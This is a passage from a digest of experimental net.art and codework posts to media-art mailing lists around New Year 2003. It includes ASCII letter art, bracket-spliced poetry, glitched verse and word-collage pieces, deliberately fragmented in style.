HHMHH  O N O\n  J K  G   G  P N Q  AANAO  H L H  O   O\n J  K  G   G   Q PN  AN  O   HLH   O   O\nKEEEK  GGGGG  N P N  O   O  LLMLL  NFFFO\nEJJJJ  GGGGF  QMMMQ  AMMMM  MKKKM  MFFFN\nI   J  G   G  Q   Q  M   M  I K I  N   N\nI   J  GAA G  Q   Q  M   M  I K I  NM MN\nIIIIJ  F   G  QMMMQ  MMMMM  I K I  NM MN\nEEEJJ  F   G  QQQQQ  AA MM  IIMII  N M N\n  I J  F   G  Q M Q  AAMAM  I K I  N   N\n I  J  G   G   Q QM  AM  M   IKI   N   N\nJEEEJ  FGGGF  M Q M  M   M  KKMKK  MFFFN\nFIIII  FFFFE  RKKKP  AKKKK  LIIIL  KGGGM\nH   I  F   F  P   P  K   K  J I J  M   M\nH   I  FAA F  P   P  K   K  J I J  MK KM\nHHHHI  E   F  PKKKP  KKKKK  J I J  MK KM\nFFFII  E   F  RRRPP  AA KK  JJLJJ  M K M\n  H I  E   F  R K P  AAKAK  J I J  M   M\n H  I  F   F   P RK  AK  K   JIJ   M   M\nIFFFI  EFFFE  K R K  K   K  IILII  KGGGM\nFIIII  EEEEE  SIIIP  AIIIJ  KHHHK  IGGGL\nG   I  E   E  P   P  J   J  J H J  L   L\nG   I  EAA E  P   P  J   J  J H J  LI IL\nGGGGI  E   E  PIIIP  JIJIJ  J H J  LI IL\nFFFII  E   E  SSSPP  AA JJ  JJKJJ  L I L\n  G I  E   E  S I P  AAIAJ  J H J  L   L\n G  I  E   E   P SI  AI  J   JHJ   L   L\nIFFFI  EEEEE  I S I  J   J  HHKHH  IGGGL\nFHHHH  DDDDD  UGGGO  BGGGH  JFFFJ  GHHHJ\nE   H  D   D  O   O  H   H  K F K  J   J\nE   H  DBB D  O   O  H   H  K F K  JG GJ\nEEEEH  D   D  OGGGO  HGHGH  K F K  JG GJ\nFFFHH  D   D  UUUOO  BB HH  KKJKK  J G J\n  E H  D   D  U G O  BBGBH  K F K  J   J\n E  H  D   D   O UG  BG  H   KFK   J   J\nHFFFH  DDDDD  G U G  H   H  FFJFF  GHHHJ\nGGGGG  CCCCC  VEEEO  BEEEF  IEEEI  EHHHI\nD   G  C   C  O   O  F   F  L E L  I   I\nD   G  CBB C  O   O  F   F  L E L  IE EI\nDDDDG  C   C  OEEEO  FEFEF  L E L  IE EI\nGGGGG  C   C  VVVOO  BB FF  LLILL  I E I\n  D G  C   C  V E O  BBEBF  L E L  I   I\n D  G  C   C   O VE  BE  F   LEL   I   I\nGGGGG  CCCCC  E V E  F   F  EEIEE  EHHHI\nGFFFF  CCCCB  WDDDN  BDDDD  ICCCI  DIIIH\nC   F  C   C  N   N  D   D  M C M  H   H\nC   F  CBB C  N   N  D   D  M C M  HD DH\nCCCCF  B   C  NDDDN  DDDDD  M C M  HD DH\nGGGFF  B   C  WWWNN  BB DD  MMIMM  H D H\n  C F  B   C  W D N  BBDBD  M C M  H   H\n C  F  C   C   N WD  BD  D   MCM   H   H\nFGGGF  BCCCB  D W D  D   D  CCICC  DIIIH\nHEEEE  BBBBA  YBBBN  BBBBC  HBBBH  BIIIF\nA   E  B   B  N   N  C   C  M B M  F   F\nA   E  BBB B  N   N  C   C  M B M  FB BF\nAAAAE  A   B  NBBBN  CBCBC  M B M  FB BF\nHHHEE  A   B  YYYNN  BB CC  MMHMM  F B F\n  A E  A   B  Y B N  BBBBC  M B M  F   F\n A  E  B   B   N YB  BB  C   MBM   F   F\nEHHHE  ABBBA  B Y B  C   C  BBHBB  BIIIF\nDDDDD  AAAA   M   M  A   A  G   G   EEEE\n    D  A   A  M   M  A   A  G   G  E   E\n    D  AAA A  M   M  A   A  G   G  E   E\n    D      A  M   M  A A A  G   G  E   E\nDDDDD      A  MMMMM  AA AA  GGGGG  E   E\n    D      A  M   M  AA AA  G   G  E   E\n    D  A   A   M M   A   A   G G   E   E\nDDDDD   AAA     M    A   A    G     EEEE\n\n\n\n-m\n\n\n\n\nFrom: =?iso-8859-1?Q?=80?= <e {AT} various-euro.com>\nSubject: =?iso-8859-1?Q?fisztfull_=80?=\nDate: Fri, 03 Jan 2003 19:47:54 +0100\n\n\n\nvarious-euro presents an exclusive and special sound + video edition byrez(.):\n\nsweet leone : for a fistful of euro + minimal suite for hero\ndritte section :: jan 03:: re+wire nn557.mp3_-_8.950_kb nn556.mp3_-_2.612\nkbnn555.mp3_=_-_5.877_kb\nzweite section :: desz 02:: play leone nnfisztfull.mp4_-_5.836kb nn327.mp3_-\n2.707_kb nn601.mp3_-_4.481_kb nn607.mp3_-_4.730_kbnn611.=_mp3_-_6.460_kb\nfirzt section :: sept 02=3D tezt leone nn108.mp3_-_7.493_kbnn326.mp3_=_-_2.038\nkbnn554.mp3_=_-_13.023_kb\nu let them get away from you ? yes - ha ha *- see + that's what i want talk u\nabout- he feel on a real bad ! hen _ on u - shot + joke + apologiz + not nice\nlaughing . don't like people laughing. bang bang :::::::::: coming soon :\nsecond patch (mor=80)\n\n\nhttp://www.various-euro.com/\n\n- - |- products -| :| _rez\n\n\nDate: Fri, 03 Jan 2003 10:22:47 +1100\nFrom: mez <netwurker {AT} pop.hotkey.net.au>\nSubject: term.i.nation net.wurk[er]                                     (gmx)\n\n\n/M strength & f.lesh[ion]ed\n/trans *.itive + w[k]eep.ing\n/string lac[x].tos[s]ing + poi.son.ed\n\n/pet (com) .itive\n/pe[a]t (hevy)  (primo leviesque)\n[a (s)p(r)ock.et full of sX.pense]\n\n||tilting border(lined)s + wilting g(r)amma.t[id]olatry||\n||[st]itching limb[ic system]s in c[d]o(g)ursing pro.grammes\n||p.lum[i.nous]met + kah.quay n.gorged\n\n\n*** Con.nec[ks + throats of blood-gold]ting[les] 2 101.101.1.101 (666)\n-\n*** Un[lye]able 2 re.sa[l]ve (g)lo(b).c.al host\n-\n*** Can.cell[s + market .genes](is.)ed connect\n\n\n\n                 <<end msg:: i drink yr gall + spi(l)t(s)tream>>\n                 <<quit msg:: vexing hearts with capit(du)al(istic dusting)>>\n\n\n. . .... .....\npro][tean][.lapsing.txt\n.\n.\n\nhttp://www.hotkey.net.au/~netwurker/\n.i.dream.the.n e X ][t][ us.\n\n.... . .??? .......\n\n\n\n\n\nFrom: -r-W-x-R-W-X-R- x <gustin.pascale {AT} free.fr>\nSubject: record red : Version: 10.001\nDate: Sun, 29 Dec 2002 05:59:02 +0100\n\n%%Version: 10.001\n%%Copyright: -----------------------------------------------------------\n%%Copyright:\n               et me^M au del\u0155 du corps\n%%Copyright:\n%%Copyright: si cette par[adoX]-------01e\n%%Copyright: ////////\\\\///////p[rolif\u010dre]\n\n%%Copyright:\n%%Copyright: --------ouv( R)ait\n%%Copyright: [d-passer] l e coRps(e)\n\n                           a\n                           d-lib\n\n%%Copyright: -------------Ko.p[f]_\n%%Copyright: [d'o\u016f]_l_pro[vient]\n%%Copyright:\n%%Copyright:              f\u010dre\n%%Copyright: -----------------------------------------------------------\n%%EndComments\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nFrom: Alan Sondheim <sondheim {AT} panix.com>\nSubject: in the middle of the world\nDate: Fri, 3 Jan 2003 12:38:54 -0500 (EST)\n\n\n^\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nin the middle of the world\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nv\n\n\nFrom: -r-W-x-R-W-X-R- x <gustin.pascale {AT} free.fr>\nSubject: record red : Version: 10.001\nDate: Sun, 29 Dec 2002 05:59:02 +0100\n\n%%Version: 10.001\n%%Copyright: -----------------------------------------------------------\n%%Copyright:\n               et me^M au del\u0155 du corps\n%%Copyright:\n%%Copyright: si cette par[adoX]-------01e\n%%Copyright: ////////\\\\///////p[rolif\u010dre]\n\n%%Copyright:\n%%Copyright: --------ouv( R)ait\n%%Copyright: [d-passer] l e coRps(e)\n\n                           a\n                           d-lib\n\n%%Copyright: -------------Ko.p[f]_\n%%Copyright: [d'o\u016f]_l_pro[vient]\n%%Copyright:\n%%Copyright:              f\u010dre\n%%Copyright: -----------------------------------------------------------\n%%EndComments\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\nFrom: + lo_y.+ <loy {AT} myrealbox.com>\nSubject: &!!8od pkX  _Y;D^jp WY.(00)\nDate: Sun, 29 Dec 2002 13:31:35 +0100 (CET)\n\n\n\n%%$,>G^jp WY.(00)\n%%\u001e0>FZmnrq -----------------------------------------------------------\n%%\u001e0>FZmnrq\n              7< Eg^; bb Aeck e\u0082 AjeEj\n%%\u001e0>FZmnrq\n%%\u001e0>FZmnrq kj Dl`Gd rk]Ahdm[`-------..?\n%%\u001e0>FZmnrq ////////>>///////D=EOkcm\u0096mgx\n\n%%\u001e0>FZmnrq\n%%\u001e0>FZmnrq --------CEE( i)9 {AT} V\n%%\u001e0>FZmnrq ch-D^_Oiik i U \\ESEj(])\n\n                          5\n                          6-9CZ\n\n%%\u001e0>FZmnrq -------------7C.HVaHf\n%%\u001e0>FZmnrq ch'D\u0091WE\u0085\u0164cgj`rnhesd\n%%\u001e0>FZmnrq\n%%\u001e0>FZmnrq              7b;B\n%%\u001e0>FZmnrq -----------------------------------------------------------\n%%\u001f/:4YlaUnom\n \n \n \n_______________________________________\n\n__   -   -  lo_y  -  -   __  _\n_______________________________________\n\nPTRz: \nhttp://socialfiction.org/sxyrhythm.html\nhttp://www.socialfiction.org/lo_ywildrrt%5B1%5D.html\nhttp://rhizome.org/object.rhiz?5852\nhttp://trace.ntu.ac.uk/incubation/gallery.cfm\nhttp://www.muse-apprentice-guild.com\nhttp://www.krikri.be/poeuk.html\nhttp://www.google.com/search?q=lo_y\nhttp://lo-y.diaryland.com/\n________________________________________\n\n\n\nFrom: \"AUGUST HIGHLAND\" <hmfah3 {AT} hotmail.com>\nSubject: IMMENSO #0002\nDate: Tue, 31 Dec 2002 01:12:15 -0800\n\n IMMENSO #0002\n\n\nwilderness \n\nconcealed descended wilderness billion tons trapping concealed \ndescended wilderness billion tons trapping concealed descended \nwilderness billion tons trapping concealed descended billion tons \ntrapping pelts camp baskets ceramic pots sledges toboggans \n\npelts camp baskets ceramic pots sledges toboggans \n\npelts camp baskets ceramic pots sledges toboggans seriously damaged \npelts camp baskets ceramic pots sledges toboggans seriously damaged \nprojectiles SCUD seriously damaged projectiles SCUD seriously damaged \nprojectiles SCUD \n\nprojectiles SCUD \n\nprobe embraced ninth dropout commonly reasons elements consumables \nprobe embraced ninth dropout commonly reasons elements consumables \nprobe embraced ninth dropout commonly reasons elements consumables \nprobe embraced ninth dropout commonly attained reasons elements \nconsumables \n\nattained \n\nattained \n\nasked attained \n\nwrapping asked O dubious wrapping asked \n\ndubious wrapping asked \n\ncum seeping kept sucking fell dubious wrapping \n\ncum seeping kept sucking fell dubious \n\ncum seeping kept sucking fell \n\ncum seeping kept sucking fell \n\npoems professors liked banking entered poems professors liked banking \nentered reproductive coupled poems professors liked sneaky followed \nbanking entered reproductive coupled poems professors liked sneaky \nfollowed banking entered reproductive coupled sneaky followed \nreproductive coupled organizing coalition sneaky followed hipster \nstylish alienation irresistible bra eating undressed eyes organizing \ncoalition hipster stylish alienation irresistible bra eating \nundressed eyes organizing coalition hipster stylish alienation \nirresistible policies followed bra eating undressed eyes organizing \ncoalition strangely maddened shots wide hipster stylish alienation \nirresistible policies followed bra eating undressed eyes considered \ntaxicab strangely maddened shots wide policies followed considered \ntaxicab strangely maddened shots wide policies followed considered \ntaxicab strangely maddened shots wide \n\nconsidered taxicab indisposed rebuff cooling draught cured \n\n\n\nFrom: m e t a <meta {AT} meta.am>\nSubject: http://meta.am/   -   ivea\nDate: Sun, 29 Dec 2002 13:05:44 -0800\n\n\n\n//\n\n\n\n\n\n http://meta.am/graphic/ivea/\n\n\n\n\n\n\n\n\n//m\n127.0.0.1\n\nhttp://meta.am/\n216.71.65.73\n\n\n\n\n-- \neu-gene {AT} generative.net: we lost the eu-gene subscribers list!\n(un)subscribe: http://www.generative.net/mailman/listinfo/eu-gene\n\n\n\n\nDate:         Sat, 28 Dec 2002 23:51:47 -0800\nFrom: \"[]\" <kanztanz {AT} YAHOO.COM>\nSubject: Re: Fuse\n\nunknown person don't know\nanXious anXious\nwhat's so bad about\nanXious anXious\nunknown person says\naXXious aXXious\nlooking for a way\nXXXious XXXious\nwhat's a crypto\nXXXXous XXXXous\nunknown person said beryl structure\nXXXXXus XXXXXus\nhide it the wide open\nXXXXXXs XXXXXXs\nthese are symbols for\nXXXXXXX XXXXXXX\nmaking the crane out of rumbles\ndis\ndis rum:re\ndis\ndis re:rum\nent\nent\nre:dis and re:dis and re:dis\ndeto:re\ndeto deto\nre:wherein it was re:rumbling\ndeto\nre:nato\ndeto:re\nnato\nwherein it was rumble:re\nin:re\ndisin:re\ndisinter:re\ndis\nunknown person re:sent re:dk\nit\ndis dat det\ndis nato\nin\ndi hated:re\ndis interested re:unknown person\ndis interro:re gated\ndis: i.e.\ndis: i.e.\ndis ent re:up\nintegrated dis rum tum:re\ndis dis dat do:re\ndeto\ncharge:re\nthis i.e.\nunknown person claimed re:innocence\ndis unknown person clambered up i.e.\ndis unknown person banged shut i.e.\ndis re:\ncharge\nre:charge\ndeto de:reto\nboom :re:\ndis:::re:\n\nbigi.e. re:echo\nbom:re:b\n\ndis\n\n\n\n\n\n\n\n\n\n\n\n\n\nre:fizzled\n\nx\n    x\n x\n   x     x\n      x\n\n\n\n\n__________________________________________________\nDo you Yahoo!?\nYahoo! Mail Plus - Powerful. Affordable. Sign up now.\nhttp://mailplus.yahoo.com\n\n\n\n\nDate: Fri, 3 Jan 2003 00:54:25 +0000\nFrom: 0x3F <info {AT} tonk.org>\nSubject: Re:  Re:  Re:  Re:  Re:  [shakeZkknut] I want the\n\n\n------------=_1041555155-642-434\n\n>  > il doit avoir une crise de foie\n\nit must have a bilious attack\n\n\n(?)\n\n\ngiw-m*ti_a3=9er+giclu2p+swaxE_ab+st=f893+fr5c!o$iphuq70rab1osw?h\nYa2i83di9upusoqog5lU6reCh2sw5cro8rilebest4sw1wo3aswap?aclixe4ara\n9ukas*obovupucl6bofrox*mapeGa5reje6isibokep?ekodic&a?was!ove?&it\nmUh-div#RU#rayEbefa-Hetrunux=zokacos?er&dupOvulos$ospusuWr1y!fan\ngOb3Ehemiph_slechaS*a {AT} *Cri=uwaSPochafa_reyiluFRochAB*&acheba {AT} Ina\nslopr {AT} +4hofi8$=l8_1dIbred-#nahE51ati {AT} wo9Awis8i3as*0d {AT} q7vihoXOChe\n0runep=YIsLacre&61kepR4swespif-eyos5i46I?l02tulA2iYoprenu8a3-iBr\ny$5UdeyaBu5res82=eg#*ibr!Xufr!8rE*8*OtheTh*j&2o8t {AT} sP=Kanowugag&w\n6En$SabiyoMubRetrEy*yopoV?no*lathiTe$_&zede+ay7dAn$CO&o3ige8?f8W\nro=A7*y9_ogusItE*-ch=prul&cruslEnUB5ovobAPh8Y-vUcuG1*!yes0oth&-#\nc70Sl!swe {AT} 1lEChesP&MAp2&&cL$CregivUdAdril?Th2bexaDubr2niTRaslapa\nlabr+vak9da-=icHEt!o7eS&Af6!QeJus$3s1-sOtra-R7SuhU&rorI&$iwr$&Wa\nlUXophUt5OdR-pe!!cH_fi_rOw0OneYUhifrEwreq8s6esta06kIzUfrecrofrIF\nX4HorEBAdr74ho6Exaf0ihuL10regIvedapuCRA*ALE0PEtucHoluv7l3=41wr8W\nvucr=CRuVoti95ClejigI9l4PoceG3sUwruwRu58sekeC_03o4aGAS8uxATHaMuN\nco8-0#lo?rEsu&a4*Xo1hiph+-6gEBre5382Ri6aP?ic_o=UTh3cla4*A$ES {AT} Usl\n!Hi-_a+EZuY+w-af+oS7el97&Yuprebre!efEvuz#MoR!bUJaViwi1#ISEf {AT} brUS\n {AT} iF*-u {AT} Ecli-uRO_iqAWocloWiv&CoslofrOhiwo#opAF6OC&e8e_RoSteC2asTI\n06ostic$kuspuDr9tahALi_O1e0uPrI3iph0huF2Cl0S*Dref4ILEs-uJesl#paz\nk56=q*&i4riyo+$a!I {AT} r1G9sWU_9u5luspipa?_0CLiSt_$iSlICh1?af4v9gOf7\n1RoPhemequ_a1iwris$TAy5TREh+buYUxas8sW#ME6anay*FrOdaZoz&brEchafi\nxi!!wr {AT} #asTimEslicliwrumifanexaxust!c*8s+=+puz&boG-xen {AT} dasechEh-\ngomIbrIPro#hOTHEronu#uxOviCocHo3IbOthUfIDEc1idrE3h7$-RUReb6aZ58A\nyApru {AT} IsWecErabipru-tecl-tohafrophotrosw+sadrukeqivachax+-lidrec\nqa02abaBrumaClUfr3yAprEv$trezejuproWraSTuspAwrUbaQEpemepIl9Qudro\nt3?thekUspi!a7-89v#4uclel3wrobA3Ri6icregidrO0Osig!p2ow59-t#1#uha\nsl+du$rewriprastoyaxoyI8upa6tAjimasIfu1rukUn2dob9a3isw!f=8rexif*\nthu7a+Hi*ruvIT5aw#brizO*&Ego#U#2Bi5aGaB4Iju5ovusTOLafrA=rI&uPuGe\nNASt&k&sL9bra {AT} OgU8ri*Itrasloxilog3W0iDRerERosIPReTux88oNA_ra0agE\nB6stiF?mucH+dEMEPha9&i&?_6=im?doFA+I-wuxisoTRI=HI {AT} uswivaWoSwiBri\n {AT} hI6?upa0putQi9Hum9cli#&=5uc0Othuxitar7dok#4le*5FiH_3taveletra\n9Up-up&aMA0=o&1kaPhET!suJ0CHu5oXoxoTr$3hose24az+p_-Ufrekin8cr#_=\n\n\n\n------------=_1041555155-642-434\nContent-Disposition: inline; filename=\"message-footer.txt\"\n\n\n-----Syndicate mailinglist-----------------------\nSyndicate network for media culture and media art\ninformation and archive: http://anart.no/~syndicate\nto post to the Syndicate list: <syndicate {AT} anart.no>\nShake the KKnut: http://anart.no/~syndicate/KKnut\nno commercial use of the texts without permission\n------------=_1041555155-642-434--\n\n\n\n\nFrom: + lo_y + <loy {AT} myrealbox.com>\nSubject: > int v+ pl-yps:\nDate: Sun, 29 Dec 2002 19:43:05 +0100 (CET)\n\n\n\nFl.rc/R(es)\n>> t.vecr-aphics/rs?\n\nCompl.hn(t)\n\n> For+ ff-ca >\n   View: Wd-Puzzl-t:\n      >> Ds.ll t/Pag+ pl(s)\n   Vect: mtls-in 4m(nu) th.can \n> int v+ pl-yps: Re: Jnd (12 2)\n\nhttp://www.lo-y.de.vu/0212291542.html\n\n--\n\nhttp://www.lo-y.de.vu/0212291542.html\n\n> int v+ pl-yps: Re: Jnd (12 2)\n   Vect: mtls-in 4m(nu) th.can \n      >> Ds.ll t/Pag+ pl(s)\n   View: Wd-Puzzl-t:\n> For+ ff-ca >\n\nCompl.hn(t)\n\n>> t.vecr-aphics/rs?\nFl.rc/R(es)\n\n\n \n \n \n_______________________________________\n\n__   -   -  lo_y  -  -   __  _\n_______________________________________\n\nPTRz: \nhttp://socialfiction.org/sxyrhythm.html\nhttp://www.socialfiction.org/lo_ywildrrt%5B1%5D.html\nhttp://rhizome.org/object.rhiz?5852\nhttp://trace.ntu.ac.uk/incubation/gallery.cfm\nhttp://www.muse-apprentice-guild.com\nhttp://www.krikri.be/poeuk.html\nhttp://www.google.com/search?q=lo_y\nhttp://lo-y.diaryland.com/\n________________________________________\n\n\n\nFrom: + lo_y + <loy {AT} myrealbox.com>\nDate: Mon, 30 Dec 2002 22:46:50 +0100 (CET)\nSubject: ( \" read aloud \"  )\n\n\n------------=_1041284812-642-373\n\n\n\nv^ml WQh?INK/LET:\n   CC9900.Darven \n   9900FF.Turpl ii: cot.Lig+ \nVf\\B\\ lpj \nff Pet.rry Lil/BNd flGD[ http://lo-y.de.vu/0212292354.html ] qc = Xqmh \nINK.q n\u010d Cha=[ http://lo-y.de.vu/0212292354.html ]\n    CCCCCC.Bu\n    FF000.Dgh?i%_J\u008dG \nxxxx\u00e7\u00e7 Fr\u0089S\u0085liaC \n\n\u0094\u0090\\W\u0165\u013d hcW?_c[ http://lo-y.de.vu/0212292354.html ] = \\ _j_? j\u008eXK~\u013d y\u017c\n\n\nD^row ade`A \nhc[ http://lo-y.de.vu/0212292354.html ] Efg.BNd Viol.ilY\nTr-lbeat-l\nff000cc Bit.rnrnrn cxxwee  Cyan \n\u00e7\u010dn \u00e7\u010d Skn.Garicot cxx Ho`;\nXlcj?Wjk fg gmY-\n \n \n \n_______________________________________\n\n__   -   -  lo_y  -  -   __  _\n_______________________________________\n\nPTRz: \nhttp://socialfiction.org/sxyrhythm.html\nhttp://www.socialfiction.org/lo_ywildrrt%5B1%5D.html\nhttp://rhizome.org/object.rhiz?5852\nhttp://trace.ntu.ac.uk/incubation/gallery.cfm\nhttp://www.muse-apprentice-guild.com\nhttp://www.krikri.be/poeuk.html\nhttp://www.google.com/search?q=lo_y\nhttp://lo-y.diaryland.com/\n________________________________________\n\n------------=_1041284812-642-373\nContent-Disposition: inline; filename=\"message-footer.txt\"\n\n\n-----Syndicate mailinglist-----------------------\nSyndicate network for media culture and media art\ninformation and archive: http://anart.no/~syndicate\nto post to the Syndicate list: <syndicate {AT} anart.no>\nShake the KKnut: http://anart.no/~syndicate/KKnut\nno commercial use of the texts without permission\n------------=_1041284812-642-373--\n\n\n\n\nFrom: \"Johan Meskens CS2 jmcs2\" <JohanMeskensCS2 {AT} chromaticspaceandworld.com>\nSubject: |   || \" || 30-12-2002-19:47 |_| 463614 3\" || yellow||||white||purple||||||orange|||||      |||||purple 'blue ~\" || C |\nDate: Mon, 30 Dec 2002 19:46:37 +0100\n\n|-ckhromaschine-||-I---n-e-N-e-s-8---o-E-S-6-m-1-o-e-||-jmcs2-|\n|-I---i-----A---O-E-c---i-| \" | worldeclaredeworlded |\n|   || \" || 30-12-2002-19:47 |_| 463614 3\" || yellow||||white||purple||||=\n||orange|||||      |||||purple 'blue ~\" || C |\n|   ||   ||   ||   ||   ||   ||\n|      +      |      =0C=8C=81JD      |      --002      |      77      | =\n     16      |      ------      |\n|      -      |      -      |      41      |            |      77      | =\n     :::::      |\n|      13      |      18      |      82      |      :      |      80     =\n |      8      |\n|      6      |      _      |      45      |\n|     --------------    ) =81=0F=D5 {AT} =18 MW ._._._ \\/  ,     , \"a\", ,comm=\ne,  6=97, -p, .the, >\n|             ------- 01C227 > \"n |  ------ ,    , , (, XXXXXX, p, =C1=B6=\n=F8=7FmR, action\n|      ----          a.n.\"i u|7:c- > dFi=BC >  =CD ,        , , =3D, >, =AA=\n, <, =F6=B1=92=8E=C2\n|           -         > ^|\\||- within >  ,        , 834445, , , eredgr, f=\nlalna,\n|     ------------     C=AB=F19=DA cur. ty:::m > > -m- ,       , =F2=DF=04=\n=0F, 4\"vQxQ, >, =A1=C8e#, _, ------\n|   --------------       ::i =B6=FA=9B5&=17 ______ 75 w=E9=1F . ,        =\n, G=968=96M, >, >, 6=A8=19=0B=14, -, 25\n|   \" .   [                                                              =\n                             ]\n|   \" 'A./ GLIDING SQUARE, a writing system\n|   \" a' ..      .      .      .      .      .      ..      w.3      ..  =\n    HEADERLANDSCAPE\n|   \" a' ..      .      .      .      .      .      ..      w.3      ..  =\n    HEADERLANDSCAPE\n|   \" a' ..      .      .      .      .      .      ..      w.3      ..  =\n    REPETITIONREPET\n|   \" a' ..      .      .      .      .      .      ..      w.4      ..  =\n    ITIONREPETITION\n|   \" \", [    -e/j/.  3.5951 . *=D82-=D80  pla-.. phq\" N*=A2=EF=D8   ]\n|   \"      ..      ...      ....      .....      ......      .      no + =\non + de + out\n|   ' \" I PRONOUNCE THIS BODY AS TEXT \\.\n|   \"*   _, \" chromatiscHH unDDDDD rauMMMMMM\n|---------------------------------------------------------------------[  =\n    BODYworldBODYIIBODY\n|---------------------------------------------------------------------[  =\n    declaredBODYdeclarediasAS\n|---------------------------------------------------------------------[  =\n    declareDECLAREDDECLAREbodyWORLDtext\n|---------------------------------------------------------------------[  =\n    bodybodythisDECLAREworldDECLARE\n|---------------------------------------------------------------------[  =\n    IBODYASbodyasI\n|---------------------------------------------------------------------[  =\n    TEXTtextASDECLAREDDECLAREDECLARE\n|   \" _ WORLDECLAREDEWORLDED =A8 =A8 yes und yes\n|   \" _ availabilityramoccentRAaramerikaArAEkEK ------ w o r l d e c l a =\nr e d e w o r l d e d\n|   \" _ar.   \"    \"    \"    \"0=3D1\n|   \"   \"      \"  \"\"\"                              .. 1      CHROMATISCH =\nUND RAUM         awritingsystem\n\n\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,e ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,  ,   ]\n[   ,  ,  ,  ,  ,  ,  